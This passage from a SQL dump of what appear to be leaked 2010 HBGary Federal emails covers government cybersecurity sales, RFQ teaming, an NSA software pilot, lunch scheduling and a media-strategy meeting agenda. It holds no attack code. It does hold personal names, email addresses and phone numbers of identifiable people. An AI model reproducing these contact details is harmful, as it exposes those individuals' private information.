Alex,\r\n>>>\r\n>>> Curious if you are leading your response to the USDA RFP for  \r\n>>> cybersecurity?  Is it worth a conversation of how we might be able  \r\n>>> to help?  We are in the process of implemented our Threat  \r\n>>> Management Center at NSA to assist in threat identification and  \r\n>>> malware processing, might help USDA as well.  Active Defense  \r\n>>> product is also working well which manages malware identification  \r\n>>> on the endpoints.\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',8793,'aaron_hbgary_com/8793.html'),(5920,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004302.M985244P14101Q775.eml','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','Re: USDA','Sure how about 1130.  Your pick.\r\n\r\nShamshiry (persian) near 267 and 7.\r\nLebanese Taverna inside Tysons 2.\r\nor Sushi (Konami) near 7 and 123.\r\n\r\nAaron\r\n\r\nOn May 3, 2010, at 12:04 PM, Nieves, Alexander wrote:\r\n\r\n> Friday will work for me. I have a meeting at 1:30 in Tyson area so if we can meet before that it would be great.\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On May 3, 2010, at 11:52 AM, \"Aaron Barr\"  wrote:\r\n> \r\n>> Hi Alex,\r\n>> \r\n>> How is either Thursday or Friday for Lunch?\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Apr 29, 2010, at 3:43 PM, Nieves, Alexander wrote:\r\n>> \r\n>>> Sure let\'s get some lunch next week\r\n>>> \r\n>>> Sent from my iPhone\r\n>>> \r\n>>> On Apr 29, 2010, at 2:52 PM, \"Aaron Barr\"  wrote:\r\n>>> \r\n>>>> Hi Alex,\r\n>>>> \r\n>>>> Curious if you are leading your response to the USDA RFP for cybersecurity?  Is it worth a conversation of how we might be able to help?  We are in the process of implemented our Threat Management Center at NSA to assist in threat identification and malware processing, might help USDA as well.  Active Defense product is also working well which manages malware identification on the endpoints.\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3859,'aaron_hbgary_com/3859.html'),(5921,'2010-05-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004303.M221364P14101Q776.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Integration','Ted,\r\n\r\nNSA is about to give me an order to pilot DDNA for BlueScope for 3 months at\r\na cost of $50k.  We will ship them the endpoint DDNA software and they will\r\nintegrate it into BlueScope.  It will be easy for them to deploy and execute\r\nDDNA within BlueScope. The harder part will be their using the scan results.\r\n\r\nTheir original plan was to take the DDNA XML output, parse it, and put it in\r\ntheir Multiverse DB.  They may still do that, but we will encourage them to\r\nuse the Active Defense Server to store and view the data.  This will also\r\ngive them some powerful ad hoc query capabilities of endpoint RAM and Disk.\r\n\r\nIncluded in the pilot is the AF Blue Team.  I don\'t know if that is the same\r\ngroup you are working with.\r\n\r\nOur goal is they love it then give us bigger money for a longer term\r\nlicense.  Also, there are a bunch of Blue Teams so we could possibly sell to\r\nall of them.  The Blue Teams are higher up the food chain than the HBSS\r\ninstallations so success with the Blue Teams will help us throughout DoD.\r\n\r\nDan Brown at Lackland has a system called FSS (File System Scanner) which is\r\nhomegrown and they use it for IR.  I think Dan is part of AFIOC.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, May 03, 2010 11:21 AM\r\nTo: Slapnik Bob\r\nSubject: Integration\r\n\r\nHi Bob,\r\n\r\nAaron mentioned that we integrated some HBGary products into NSA\'s\r\nClink/Bluescope tool. We have a request to find out how much this\r\ncost, because AFISR is interested in doing something similar.\r\n\r\nDo you know how much that cost, and what exactly we did?\r\n\r\nThanks,\r\nTed\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2851 - Release Date: 05/03/10\r\n02:27:00\r\n\r\n',2487,'aaron_hbgary_com/2487.html'),(5922,'2010-05-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004303.M517462P14101Q777.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Subcontract','Begin forwarded message:From: &lt;cap3196@hotmail.com&gt;\r\nDate: May 3, 2010 10:37:56 AM MDTTo: &lt;ted@hbgary.com&gt;Subject: RE: Subcontract\r\n\r\nHey Ted,Its good to hear from you. Glad to hear everything is going going well for you.  The white-papers you sent were interesting.  Let me know what your schedule looks like for this week or next so we can get together to discuss the possible opportunities.\r\nThanksBrian   &gt; Date: Mon, 3 May 2010 08:50:24 -0600&gt; Subject: Subcontract&gt; From: ted@hbgary.com&gt; To: cap3196@hotmail.com\r\n&gt; CC: adbarr@mac.com&gt; &gt; Hi Brian,&gt; &gt; Hope all is going well.  I&#39;m not sure if you&#39;ve heard that Aaron and I\r\n&gt; are with HBGary now.  Attached are a couple of whitepapers we recently&gt; published that I thought you might be interested in.&gt; &gt; I was wondering if you would like to meet for lunch sometime.  I have\r\n&gt; some opportunities that we could potentially use your help on.  Would&gt; your company be interested in subcontracting?&gt; &gt; Regards,&gt; Ted&gt; &gt; -&gt; Ted H. Vera&gt; President | COO\r\n&gt; HBGary Federal&gt; 719-237-8623 		 	   		  Hotmail is redefining busy with tools for the New Busy. Get more from your inbox. See how.\r\n\r\n',1209,'aaron_hbgary_com/1209.html'),(5923,'2010-05-03','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004303.M775230P14101Q778.eml','\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Jon Iadonisi\" <jon@whitecanvasgroup.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>','Media Strategy Capabilities Paper','\r\n\r\n\r\n\r\n\r\nMedia Strategy Capabilities Paper\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, May 04, 2010 10:00 AM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF4 Conf 4B\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n***&nbsp; Note new conference room ****\r\n\r\nAgenda\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Discuss contents of white paper - All\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Write whitepaper outline\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Commercial Model- Basics from HBGary, White Canvas Group, TASC\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mobile - Black Bird?? Working on NDA with them\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Security - HBGary\r\n\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Infrastructure - RackSpace? Google? Akami? Apple? - working on NDA&#8217;s with them\r\n\r\ne.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Content Creation- TASC\r\n\r\nf.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Linguistics - Archimedes Global\r\n\r\ng.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thought Leadership- All\r\n\r\ni.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Online opinions\r\n\r\nii.&nbsp;&nbsp;&nbsp;&nbsp; Online strategy\r\n\r\niii.&nbsp;&nbsp;&nbsp; Online delivery\r\n\r\niv.&nbsp;&nbsp;&nbsp;&nbsp; Methods of Effectiveness - Archimedes Global (working NDA and hopefully TA after meeting)\r\n\r\nh.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Delivery - HBGary/White Canvas Group\r\n\r\ni.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience - All \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Define customer list - All\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Preliminary Schedule for meetings and paper - All\r\n\r\n\r\n\r\nOnce we have completed our discussions we can move into a classified room to start writing.&nbsp; \r\n\r\n\r\n\r\nThanks, \r\n\r\nChris \r\n\r\n__________________________________________________\r\n\r\n&lt;&lt;ole0.bmp&gt;&gt;&nbsp; |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n &lt;&lt;ole0.bmp&gt;&gt; \r\n\r\n\r\n',6684,'aaron_hbgary_com/6684.html'),(5924,'2010-05-03','ted@hbgary.com','/aaron@hbgary.com/new/1297004304.M1471P14101Q779.eml','aaron@hbgary.com','Penetration Test Plan:  Las Alamos National Lab','\r\n\r\nI\'ve shared Penetration Test Plan:  Las Alamos National Lab\r\nMessage from ted@hbgary.com:\r\nI&#39;m starting to frame this out based on the book I have, and the OSSTMM.\r\n\r\nTed\r\nClick to open:\r\nPenetration Test Plan:  Las Alamos National Lab\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',10544,'aaron_hbgary_com/10544.html'),(5925,'2010-05-03','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','/aaron@hbgary.com/new/1297004304.M202178P14101Q780.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: USDA','Sushi at konami\r\n\r\nSent from my iPhone\r\n\r\nOn May 3, 2010, at 12:16 PM, \"Aaron Barr\"  wrote:\r\n\r\n> Sure how about 1130.  Your pick.\r\n>\r\n> Shamshiry (persian) near 267 and 7.\r\n> Lebanese Taverna inside Tysons 2.\r\n> or Sushi (Konami) near 7 and 123.\r\n>\r\n> Aaron\r\n>\r\n> On May 3, 2010, at 12:04 PM, Nieves, Alexander wrote:\r\n>\r\n>> Friday will work for me. I have a meeting at 1:30 in Tyson area so  \r\n>> if we can meet before that it would be great.\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On May 3, 2010, at 11:52 AM, \"Aaron Barr\"  wrote:\r\n>>\r\n>>> Hi Alex,\r\n>>>\r\n>>> How is either Thursday or Friday for Lunch?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Apr 29, 2010, at 3:43 PM, Nieves, Alexander wrote:\r\n>>>\r\n>>>> Sure let\'s get some lunch next week\r\n>>>>\r\n>>>> Sent from my iPhone\r\n>>>>\r\n>>>> On Apr 29, 2010, at 2:52 PM, \"Aaron Barr\"  wrote:\r\n>>>>\r\n>>>>> Hi Alex,\r\n>>>>>\r\n>>>>> Curious if you are leading your response to the USDA RFP for  \r\n>>>>> cybersecurity?  Is it worth a conversation of how we might be  \r\n>>>>> able to help?  We are in the process of implemented our Threat  \r\n>>>>> Management Center at NSA to assist in threat identification and  \r\n>>>>> malware processing, might help USDA as well.  Active Defense  \r\n>>>>> product is also working well which manages malware  \r\n>>>>> identification on the endpoints.\r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',2259,'aaron_hbgary_com/2259.html'),(5926,'2010-05-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297004304.M454843P14101Q781.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','USDA','KLM has (2) RFQs for USDA -- the second RFQ covers forensics.\r\n \r\nKLM sees HBGary fitting in for both.  They are meeting today with Greg for lunch and they&#39;ve asked me to complete a response to the requirements and I&#39;ll need some help.\r\n \r\nWhat is the status of the other vendors?\r\n \r\nUnisys -- I spoke to him, he was confused by the RFQ and didn&#39;t see us fitting in  \r\nVerizon Business -- Bob, did you speak with them?\r\nCSC, Mantech  -- Aaron are there any next steps for responding to RFQ?\r\n---------- Forwarded message ----------From: Maria Lucas &lt;maria@hbgary.com&gt;Date: Mon, May 3, 2010 at 10:55 AM\r\nSubject: Re: RFQ informationTo: Randy Meyers &lt;rmeyers@klcnetworks.com&gt;\r\nRandy\r\n \r\nI understand there are (2) RFQs.\r\n \r\nWhat I need from you is a copy of each RFQ with each item highlighted that you expect us to respond to?  This will allow me to respond much quicker.\r\n \r\nThanks!\r\nMaria\r\n\r\n\r\n\r\nOn Mon, May 3, 2010 at 6:17 AM, Randy Meyers &lt;rmeyers@klcnetworks.com&gt; wrote:\r\n\r\n\r\n\r\nHere is a complete list of what we would like to receive from you.\r\n \r\nThanks\r\n \r\nRandy Meyers\r\nDirector, Information Assurance Engineering\r\nKLC Network Services\r\n703-834-1500 x103\r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',13129,'aaron_hbgary_com/13129.html'),(5927,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004304.M668179P14101Q782.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,','Re: USDA','I have meetings with CSC and ManTech this week to discuss.  CSC has already told me it is late to get in as part of this effort but is interested in talking on the civil side on how we can partner on other efforts or future extensions of this effort.\r\nFor a big proposal with a deadline of 7 may i would guess it is nearly impossible to be written in at this point unless we or our capability are already written in to the proposal.  I&#39;ll help where I can.  I will let u know what I here from ManTech and CSC.\r\nAaronSent from my iPadOn May 3, 2010, at 2:27 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nKLM has (2) RFQs for USDA -- the second RFQ covers forensics.\r\n \r\nKLM sees HBGary fitting in for both.  They are meeting today with Greg for lunch and they&#39;ve asked me to complete a response to the requirements and I&#39;ll need some help.\r\n \r\nWhat is the status of the other vendors?\r\n \r\nUnisys -- I spoke to him, he was confused by the RFQ and didn&#39;t see us fitting in  \r\nVerizon Business -- Bob, did you speak with them?\r\nCSC, Mantech  -- Aaron are there any next steps for responding to RFQ?\r\n---------- Forwarded message ----------From: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: Mon, May 3, 2010 at 10:55 AM\r\nSubject: Re: RFQ informationTo: Randy Meyers &lt;rmeyers@klcnetworks.com&gt;\r\nRandy\r\n \r\nI understand there are (2) RFQs.\r\n \r\nWhat I need from you is a copy of each RFQ with each item highlighted that you expect us to respond to?  This will allow me to respond much quicker.\r\n \r\nThanks!\r\nMaria\r\n\r\n\r\n\r\nOn Mon, May 3, 2010 at 6:17 AM, Randy Meyers &lt;rmeyers@klcnetworks.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHere is a complete list of what we would like to receive from you.\r\n \r\nThanks\r\n \r\nRandy Meyers\r\nDirector, Information Assurance Engineering\r\nKLC Network Services\r\n703-834-1500 x103\r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n',14594,'aaron_hbgary_com/14594.html'),(5928,'2010-05-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004304.M946084P14101Q783.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,','RE: USDA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI haven&#8217;t seen the second proposal, but I think we were probably\r\nwritten in\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, May 03, 2010 12:08 PM\r\nTo: Maria Lucas\r\nCc: Bob Slapnik; Penny C. Hoglund; Rich Cummings; Joe Pizzo\r\nSubject: Re: USDA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI have meetings with CSC and ManTech this week to discuss.\r\n&nbsp;CSC has already told me it is late to get in as part of this effort but\r\nis interested in talking on the civil side on how we can partner on other\r\nefforts or future extensions of this effort.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor a big proposal with a deadline of 7 may i would guess it\r\nis nearly impossible to be written in at this point unless we or our capability\r\nare already written in to the proposal. &nbsp;I\'ll help where I can. &nbsp;I\r\nwill let u know what I here from ManTech and CSC.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 3, 2010, at 2:27 PM, Maria Lucas &lt;maria@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nKLM has (2) RFQs for USDA -- the second RFQ covers\r\nforensics.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKLM sees&nbsp;HBGary fitting in&nbsp;for both.&nbsp; They\r\nare meeting today with Greg for lunch and they\'ve asked me to complete a\r\nresponse to the requirements and I\'ll need some help.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat is the status of the other vendors?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nUnisys -- I spoke to him, he was confused by the RFQ and\r\ndidn\'t see us fitting in&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nVerizon Business -- Bob, did you speak with them?\r\n\r\n\r\n\r\n\r\n\r\nCSC, Mantech&nbsp; -- Aaron are\r\nthere any next steps for responding to RFQ?\r\n\r\n\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: Mon, May 3, 2010 at 10:55 AM\r\nSubject: Re: RFQ information\r\nTo: Randy Meyers &lt;rmeyers@klcnetworks.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nRandy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI understand there are (2) RFQs.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat I need from you is a copy of each RFQ&nbsp;with each\r\nitem&nbsp;highlighted that you expect us to respond to?&nbsp; This will allow\r\nme to respond much quicker.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks!\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, May 3, 2010 at 6:17 AM, Randy Meyers &lt;rmeyers@klcnetworks.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis a complete list of what we would like to receive from you.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nRandy\r\nMeyers\r\n\r\nDirector,\r\nInformation Assurance Engineering\r\n\r\nKLC\r\nNetwork Services\r\n\r\n703-834-1500\r\nx103\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15413,'aaron_hbgary_com/15413.html'),(5929,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004305.M202626P14101Q784.eml','\"Rich Cummings\" <rich@hbgary.com>','SecDev','Can u support a demo this thursday or friday with SecDev?  We will brief them and they will brief us.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14602,'aaron_hbgary_com/14602.html'),(5930,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004305.M437191P14101Q785.eml','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','Re: Catch Up','Hey Don,\r\n\r\nWhen you get some time that frees up let me know and we can catch up.\r\n\r\nAaron\r\n\r\nOn Apr 16, 2010, at 3:32 PM, Bailey, Don wrote:\r\n\r\n> Hi Aaron - it\'s been a crazy few months here as well.  Sorry I\'ve been out of touch.\r\n> \r\n> I have seen the new REcon paper, nicely done!  I\'ve not seen the ticker yet, but will check it as soon as I send this note.\r\n> \r\n> The next two weeks are pretty hammered for me; perhaps we can do dinner and drinks the first week in May?\r\n> \r\n> Don Bailey\r\n> Blackbird Technologies, PDG\r\n> 703.345.1304 office\r\n> 703.582.1277 cell\r\n> dbailey@blackbirdtech.com\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, April 16, 2010 2:38 PM\r\n> To: Bailey, Don\r\n> Cc: Ted Vera\r\n> Subject: Catch Up\r\n> \r\n> Hey Don,\r\n> \r\n> I am getting a bit of a breather from a few months of proposals.\r\n> \r\n> Penny said you wanted to get together and talk about future work together.  I know you guys were also looking at potential investing in HBGar Proper.  Anyway, send me a not or a call and we can try to get together.  Have you seen the new REcon Software Exploitation paper? or the malware ticker on the HBGary website?  The Threat Management Center, which drives the data in the ticker has a lot of promise for threat intelligence.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8205,'aaron_hbgary_com/8205.html'),(5931,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004305.M703274P14101Q786.eml','\"Christopher Starr\" <Chris.Starr@gd-ais.com>','Get together','Hey Chris,\r\n\r\nWhats your schedule like this week or next?  Lets book a time to get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8654,'aaron_hbgary_com/8654.html'),(5932,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004305.M931974P14101Q787.eml','\"Chris Rouland\" <chris@endgames.us>','Question','Hey Chris,\r\n\r\nI was talking with Greg and Penny about Incident Response and they brought up a conversation they had with you a while back related to infected IP addresses you had visibility in to.  Are you interested in talking about how that data might be used to support Net Defense or Incident Response?  Right now developing a process for proceduralized incident response and finding the most effective methods.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12657,'aaron_hbgary_com/12657.html'),(5933,'2010-05-03','\"Chris Rouland\" <chris@endgames.us>','/aaron@hbgary.com/new/1297004306.M242135P14101Q788.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Question','',2680,'aaron_hbgary_com/2680.html'),(5934,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004306.M610021P14101Q789.eml','\"Chris Rouland\" <chris@endgames.us>,\"Chris Rouland\" <chris@endgames.us>','Re: Question','Great.  Thanks Chris.\r\n\r\nDan,  please let me know some good times to call.\r\n\r\nAaron\r\nOn May 3, 2010, at 3:44 PM, Chris Rouland wrote:\r\n\r\n> We are currently offering it for Net Defense and Incident Response as well as Cyber ISR.   Free may to set up a call with Dan Ingevaldson, our COO who is working on NetD and Commercial applications for our cayman program.    CC\'d here.\r\n> \r\n> Thanks\r\n> \r\n> On May 3, 2010, at 3:42 PM, Aaron Barr wrote:\r\n> \r\n>> Hey Chris,\r\n>> \r\n>> I was talking with Greg and Penny about Incident Response and they brought up a conversation they had with you a while back related to infected IP addresses you had visibility in to.  Are you interested in talking about how that data might be used to support Net Defense or Incident Response?  Right now developing a process for proceduralized incident response and finding the most effective methods.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14365,'aaron_hbgary_com/14365.html'),(5935,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004307.M194148P14101Q790.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: Question','Begin forwarded message:From: Chris Rouland &lt;chris@endgames.us&gt;Date: May 3, 2010 3:44:48 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Daniel Ingevaldson &lt;dsi@endgames.us&gt;Subject: Re: QuestionWe are currently offering it for Net Defense and Incident Response as well as Cyber ISR. &nbsp;&nbsp;Free may to set up a call with Dan Ingevaldson, our COO who is working on NetD and Commercial applications for our cayman program. &nbsp;&nbsp;&nbsp;CC\'d here.ThanksOn May 3, 2010, at 3:42 PM, Aaron Barr wrote:Hey Chris,I was talking with Greg and Penny about Incident Response and they brought up a conversation they had with you a while back related to infected IP addresses you had visibility in to. &nbsp;Are you interested in talking about how that data might be used to support Net Defense or Incident Response? &nbsp;Right now developing a process for proceduralized incident response and finding the most effective methods.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3319,'aaron_hbgary_com/3319.html'),(5936,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004307.M673873P14101Q791.eml','\"Tom Conroy\" <tom.conroy@ngc.com>','Lunch','Hi Tom,\r\n\r\nThanks for lunch.  It was very nice catching up with you.  I will send you some information shortly.  Do you have a good contact for Len Moodispaw?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1340,'aaron_hbgary_com/1340.html'),(5937,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004308.M127058P14101Q792.eml','\"Aaron Barr\" <adbarr@mac.com>','','Jose  - folder of static binaries.  That is not built yet.  V1 active defense product.  Integration with Clink/Bluescope.  TMC timeline.\r\nNDU List of Ideas\r\nGD Topics - proposal due 15th.\r\nIncident Reponse - \r\nWebsite - \r\nAgilex - Draft PT plan.\r\nTom - Information on Me and Company.\r\n\r\nAFRL\r\nSPAWAR\r\n\r\n\r\nCapabilities brief Harris.\r\n\r\nPenny conversation.\r\nHarris\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1807,'aaron_hbgary_com/1807.html'),(5938,'2010-05-03','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297004308.M373223P14101Q793.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Question','',8475,'aaron_hbgary_com/8475.html'),(5939,'2010-05-03','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297004308.M613531P14101Q794.eml','\"Aaron Barr\" <aaron@hbgary.com>','Here you go with Len\'s contact information','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5757,'aaron_hbgary_com/5757.html'),(5940,'2010-05-03','\"Maria Lucas\" 